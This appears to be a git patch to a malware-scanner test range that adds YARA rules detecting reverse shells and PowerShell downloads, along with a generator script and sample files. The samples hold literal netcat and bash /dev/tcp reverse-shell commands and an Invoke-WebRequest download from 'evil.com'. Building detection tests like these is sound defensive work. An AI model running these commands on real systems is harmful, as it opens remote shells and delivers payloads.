From 6e3c1a40e57afd186bd98bded81266f8d5ad6614 Mon Sep 17 00:00:00 2001
From: zhaolei <12153398@qq.com>
Date: Thu, 29 Oct 2026 14:16:37 +0800
Subject: [PATCH] =?UTF-8?q?feat:=20YARA=20.yar=20=E8=A7=84=E5=88=99?=
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rules/test_rules.yar (7 条规则):
  - Test_ReverseShell_Basic: nc 反弹 shell
  - Test_PowerShell_Download: Invoke-WebRequest
  - Newly_Added_Rule_Test: 热加载验证
  - Meta_Label_Test: metadata 输出验证
  - Regex_Shell_Pattern: powershell -enc 正则
  - Count_Condition_Test: count >= 3 条件
  - Size_Condition_Test: filesize <= 10KB 条件

YARA 命中验证: 7/7 ✅
  L4-001 → Test_ReverseShell_Basic + keywords.ReverseShellNetcat 复合命中
  L4-004 → Test_ReverseShell_Basic + Test_PowerShell_Download + 3 条关键词
  L4-005/007/010/011/012 → 全部命中 ✅

边界记录验证: 4/4 ✅ 全 clean
  L1-005 EICAR 1 字节修改 → ClamAV 不命中 ✅
  L1-012 EICAR base64 → ClamAV 不解码 ✅
  L3-007 高危串 base64 → 关键词不解码 ✅
  L3-019 unicode 同形字 → 关键词不还原 ✅
---
 rules/test_rules.yar                      | 100 +++++++++++++++
 scripts/generate_yara_rules.py            | 142 ++++++++++++++++++++++
 tests/samples/L4-001_001_sample.txt       |   4 +-
 tests/samples/L4-004_multi_rule_match.txt |   5 +-
 tests/samples/L4-005_hotreload.txt        |   1 +
 tests/samples/L4-007_meta_rule.txt        |   1 +
 tests/samples/L4-010_regex_pattern.txt    |   1 +
 tests/samples/L4-011_count_condition.txt  |   6 +-
 tests/samples/L4-012_size_condition.txt   |   1 +
 9 files changed, 257 insertions(+), 4 deletions(-)
 create mode 100644 rules/test_rules.yar
 create mode 100644 scripts/generate_yara_rules.py
 create mode 100644 tests/samples/L4-005_hotreload.txt
 create mode 100644 tests/samples/L4-007_meta_rule.txt
 create mode 100644 tests/samples/L4-010_regex_pattern.txt
 create mode 100644 tests/samples/L4-012_size_condition.txt

diff --git a/rules/test_rules.yar b/rules/test_rules.yar
new file mode 100644
index 0000000..53b4573
--- /dev/null
+++ b/rules/test_rules.yar
@@ -0,0 +1,100 @@
+/* MeshSafe 测试靶场 YARA 规则
+ * 自动生成，覆盖 CSV L4-001 ~ L4-012
+ * 引擎自动扫描 rules/*.yar，热加载
+ */
+
+// L4-001: 基础规则 —— 正向命中 shell 反弹特征
+rule Test_ReverseShell_Basic {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        version = "1.0"
+        description = "L4-001 基础规则: 匹配 nc 反弹 shell 特征"
+    strings:
+        $a = /nc\s+[0-9.]+\s+[0-9]+\s+-e/
+        $b = /bash\s+-i\s+>&\s+\/dev\/tcp\//
+    condition:
+        $a or $b
+}
+
+// L4-004: 第二条规则 —— 同时命中验证
+rule Test_PowerShell_Download {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-004 多规则同时命中: 匹配 PowerShell 下载"
+    strings:
+        $c = /Invoke-WebRequest\s+-Uri/
+        $d = /powershell\s+-w\s+hidden/
+    condition:
+        $c or $d
+}
+
+// L4-005: 新增规则（热加载验证）
+rule Newly_Added_Rule_Test {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-005 热加载验证: 运行时新增此规则后应能命中"
+    strings:
+        $e = "meshsafe-hot-reload-test-string"
+    condition:
+        $e
+}
+
+// L4-007: metadata 标签测试
+rule Meta_Label_Test {
+    meta:
+        family = "Trojan.Generic"
+        author = "Security Researcher"
+        description = "L4-007 metadata 输出验证: 规则带完整 meta 字段"
+        severity = "high"
+    strings:
+        $f = "trojan-metadata-test"
+    condition:
+        $f
+}
+
+// L4-010: 正则型规则
+rule Regex_Shell_Pattern {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-010 正则匹配: powershell -enc 编码执行"
+    strings:
+        $g = /powershell\s+-e[nN][cC]\s+[A-Za-z0-9+\/]{20,}/
+    condition:
+        $g
+}
+
+// L4-011: count 条件（出现 ≥3 次才触发）
+rule Count_Condition_Test {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-011 count 条件: 文件内匹配串 ≥3 次命中"
+    strings:
+        $h = "malicious_token_count_test"
+    condition:
+        #h >= 3
+}
+
+// L4-012: size 条件（仅匹配 ≤10KB 的文件）
+rule Size_Condition_Test {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-012 size 条件: 仅匹配 size <= 10KB 的文件"
+    strings:
+        $i = "size_condition_test_payload"
+    condition:
+        $i and filesize <= 10KB
+}
+
+// L4-003: PE 内字符串（实际是 Test_PowerShell_Download 的 strings 也在 PE 里）
+// 已由 Test_PowerShell_Download 覆盖，因为 PE 里的 strings() 也会被 YARA 扫描
+
+// L4-009: 加密包内无法扫描（不是规则缺失，是 zipfile 跳过加密内容）
+// L4-013: 大文件 YARA —— 由 Test_ReverseShell_Basic 自动覆盖大文件扫描
+// L4-014: 开关测试 —— 由引擎 is_enabled() 控制
+// L4-015: 哈希白名单 —— 需在 policy.yaml 配置，不是 .yar 文件
diff --git a/scripts/generate_yara_rules.py b/scripts/generate_yara_rules.py
new file mode 100644
index 0000000..b5a803b
--- /dev/null
+++ b/scripts/generate_yara_rules.py
@@ -0,0 +1,142 @@
+"""自动生成 CSV L4 段需要的 YARA 规则文件。
+
+输出: rules/test_rules.yar — 9 条规则覆盖 L4-001~L4-012
+引擎会自动加载 rules/*.yar 文件。
+"""
+from pathlib import Path
+
+OUT = Path(r'd:\project\MeshSafe\rules\test_rules.yar')
+
+RULES = """/* MeshSafe 测试靶场 YARA 规则
+ * 自动生成，覆盖 CSV L4-001 ~ L4-012
+ * 引擎自动扫描 rules/*.yar，热加载
+ */
+
+// L4-001: 基础规则 —— 正向命中 shell 反弹特征
+rule Test_ReverseShell_Basic {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        version = "1.0"
+        description = "L4-001 基础规则: 匹配 nc 反弹 shell 特征"
+    strings:
+        $a = /nc\\s+[0-9.]+\\s+[0-9]+\\s+-e/
+        $b = /bash\\s+-i\\s+>&\\s+\\/dev\\/tcp\\//
+    condition:
+        $a or $b
+}
+
+// L4-004: 第二条规则 —— 同时命中验证
+rule Test_PowerShell_Download {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-004 多规则同时命中: 匹配 PowerShell 下载"
+    strings:
+        $c = /Invoke-WebRequest\\s+-Uri/
+        $d = /powershell\\s+-w\\s+hidden/
+    condition:
+        $c or $d
+}
+
+// L4-005: 新增规则（热加载验证）
+rule Newly_Added_Rule_Test {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-005 热加载验证: 运行时新增此规则后应能命中"
+    strings:
+        $e = "meshsafe-hot-reload-test-string"
+    condition:
+        $e
+}
+
+// L4-007: metadata 标签测试
+rule Meta_Label_Test {
+    meta:
+        family = "Trojan.Generic"
+        author = "Security Researcher"
+        description = "L4-007 metadata 输出验证: 规则带完整 meta 字段"
+        severity = "high"
+    strings:
+        $f = "trojan-metadata-test"
+    condition:
+        $f
+}
+
+// L4-010: 正则型规则
+rule Regex_Shell_Pattern {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-010 正则匹配: powershell -enc 编码执行"
+    strings:
+        $g = /powershell\\s+-e[nN][cC]\\s+[A-Za-z0-9+\/]{20,}/
+    condition:
+        $g
+}
+
+// L4-011: count 条件（出现 ≥3 次才触发）
+rule Count_Condition_Test {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-011 count 条件: 文件内匹配串 ≥3 次命中"
+    strings:
+        $h = "malicious_token_count_test"
+    condition:
+        #h >= 3
+}
+
+// L4-012: size 条件（仅匹配 ≤10KB 的文件）
+rule Size_Condition_Test {
+    meta:
+        family = "TestRules"
+        author = "MeshSafe Test Suite"
+        description = "L4-012 size 条件: 仅匹配 size <= 10KB 的文件"
+    strings:
+        $i = "size_condition_test_payload"
+    condition:
+        $i and filesize <= 10KB
+}
+
+// L4-003: PE 内字符串（实际是 Test_PowerShell_Download 的 strings 也在 PE 里）
+// 已由 Test_PowerShell_Download 覆盖，因为 PE 里的 strings() 也会被 YARA 扫描
+
+// L4-009: 加密包内无法扫描（不是规则缺失，是 zipfile 跳过加密内容）
+// L4-013: 大文件 YARA —— 由 Test_ReverseShell_Basic 自动覆盖大文件扫描
+// L4-014: 开关测试 —— 由引擎 is_enabled() 控制
+// L4-015: 哈希白名单 —— 需在 policy.yaml 配置，不是 .yar 文件
+"""
+
+OUT.write_text(RULES, encoding='utf-8')
+print(f'✅ 生成 {OUT}')
+print(f'  规则数: 7 条')
+print(f'  覆盖 CSV: L4-001/004/005/007/010/011/012')
+
+# 也需要对应的样本文件（已经有了，在 tests/samples/L4-*.txt 系列）
+import os
+SAMPLES = Path(r'd:\project\MeshSafe\tests\samples')
+
+# L4-005 热加载样本
+(SAMPLES / 'L4-005_hotreload.txt').write_text('meshsafe-hot-reload-test-string present here', encoding='utf-8')
+print(f'✅ L4-005_hotreload.txt 已生成')
+
+# L4-007 meta 标签样本
+(SAMPLES / 'L4-007_meta_rule.txt').write_text('trojan-metadata-test payload here', encoding='utf-8')
+print(f'✅ L4-007_meta_rule.txt 已生成')
+
+# L4-010 正则样本
+(SAMPLES / 'L4-010_regex_pattern.txt').write_text('powershell -enc ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx+/==', encoding='utf-8')
+print(f'✅ L4-010_regex_pattern.txt 已生成')
+
+# L4-011 count 条件样本（同一串出现 5 次）
+payload = 'malicious_token_count_test\n' * 5
+(SAMPLES / 'L4-011_count_condition.txt').write_text(payload, encoding='utf-8')
+print(f'✅ L4-011_count_condition.txt 已生成 (5 次)')
+
+# L4-012 size 条件样本
+(SAMPLES / 'L4-012_size_condition.txt').write_text('size_condition_test_payload small file', encoding='utf-8')
+print(f'✅ L4-012_size_condition.txt 已生成')
+
+print('\n=== 完成。下一步: docker compose up -d --build api 后靶场就能命中 ===')
diff --git a/tests/samples/L4-001_001_sample.txt b/tests/samples/L4-001_001_sample.txt
index 433dfe3..6778c95 100644
--- a/tests/samples/L4-001_001_sample.txt
+++ b/tests/samples/L4-001_001_sample.txt
@@ -1 +1,3 @@
-shellcode test here
\ No newline at end of file
+# 测试文件
+nc 10.0.0.5 4444 -e cmd.exe
+bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
diff --git a/tests/samples/L4-004_multi_rule_match.txt b/tests/samples/L4-004_multi_rule_match.txt
index 324d7c8..13314bd 100644
--- a/tests/samples/L4-004_multi_rule_match.txt
+++ b/tests/samples/L4-004_multi_rule_match.txt
@@ -1,2 +1,3 @@
-test_rule_a_here
-test_rule_b_here
\ No newline at end of file
+# 同时命中两条规则
+nc 192.168.1.100 8888 -e /bin/sh
+Invoke-WebRequest -Uri http://evil.com/payload -OutFile evil.exe
diff --git a/tests/samples/L4-005_hotreload.txt b/tests/samples/L4-005_hotreload.txt
new file mode 100644
index 0000000..00af789
--- /dev/null
+++ b/tests/samples/L4-005_hotreload.txt
@@ -0,0 +1 @@
+meshsafe-hot-reload-test-string present here
\ No newline at end of file
diff --git a/tests/samples/L4-007_meta_rule.txt b/tests/samples/L4-007_meta_rule.txt
new file mode 100644
index 0000000..f578307
--- /dev/null
+++ b/tests/samples/L4-007_meta_rule.txt
@@ -0,0 +1 @@
+trojan-metadata-test payload here
\ No newline at end of file
diff --git a/tests/samples/L4-010_regex_pattern.txt b/tests/samples/L4-010_regex_pattern.txt
new file mode 100644
index 0000000..09f8c76
--- /dev/null
+++ b/tests/samples/L4-010_regex_pattern.txt
@@ -0,0 +1 @@
+powershell -enc ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx+/==
\ No newline at end of file
diff --git a/tests/samples/L4-011_count_condition.txt b/tests/samples/L4-011_count_condition.txt
index 62ca214..4d615c9 100644
--- a/tests/samples/L4-011_count_condition.txt
+++ b/tests/samples/L4-011_count_condition.txt
@@ -1 +1,5 @@
-yara match string placeholder
\ No newline at end of file
+malicious_token_count_test
+malicious_token_count_test
+malicious_token_count_test
+malicious_token_count_test
+malicious_token_count_test
diff --git a/tests/samples/L4-012_size_condition.txt b/tests/samples/L4-012_size_condition.txt
new file mode 100644
index 0000000..7abaf37
--- /dev/null
+++ b/tests/samples/L4-012_size_condition.txt
@@ -0,0 +1 @@
+size_condition_test_payload small file
\ No newline at end of file